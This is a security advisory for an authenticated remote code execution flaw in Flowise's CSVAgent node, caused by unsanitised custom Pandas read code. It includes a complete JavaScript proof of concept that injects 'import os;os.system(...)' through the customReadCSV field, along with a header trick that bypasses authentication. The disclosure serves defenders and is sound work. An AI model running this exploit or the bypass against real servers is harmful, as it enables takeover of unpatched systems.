Critical

Flowise: Code Injection in CSVAgent leads to Authenticated RCE

  • Disclosed: 16.04.2026
  • Updated: 11.10.2026 10:22

Summary

The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.

Details

The code in question that introduces the issue is in CSVAgent.ts. customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code). An authenticated attacker can issue the following chain of requests:

  1. Create a new chat flow by sending a POST request to /api/v1/chatflows. This will return the chatflowId in the response.
  2. Send a POST request to /api/v1/prediction/[CHATFLOWID] to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.
  3. Optionally: send a DELETE request to /api/v1/chatflows to cleanup and delete the chat flow.

Since /chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE_USERNAME and FLOWISE_PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.

PoC

Here's the PoC code:

const PORT = 3000;
const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;
const PREDICTION_URL = '/api/v1/prediction';
const CHATFLOWS_URL = '/api/v1/chatflows';

const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};

// Create chatflow.
let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    },
    body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({"question": "whoami?"})
});

// Cleanup.
await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {
    method: "DELETE",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    }
});

Impact

This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package flowise < 3.1.0 3.1.0
npm package flowise-components < 3.1.0 3.1.0

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
npm
Package
flowise, flowise-components
Disclosed
16.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9wc7-mj3f-74xv - CC BY 4.0

Vulnerability history: flowise-components

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
04.2025 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 16
  • High 12
  • Medium 3

Disclosures per year

  1. 2025: 3
  2. 2026: 28
Severity:
  1. Critical CVE-2026-69259 < 3.1.3 3.1.3
  2. Critical CVE-2026-69256 < 3.1.3 3.1.3
  3. Critical CVE-2026-69253 < 3.1.3 3.1.3
  4. Critical CVE-2026-69251 < 3.1.3 3.1.3
  5. High CVE-2026-56274 < 3.1.2 3.1.2
  6. High CVE-2026-41274 < 3.1.0 3.1.0
  7. High · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  8. High · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  9. High · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  10. Flowise: Code Injection in CSVAgent leads to Authenticated RCE this entry
    Critical · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  11. Critical · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  12. High · 7.6 CVE-2025-29189 < 2.2.4 2.2.4

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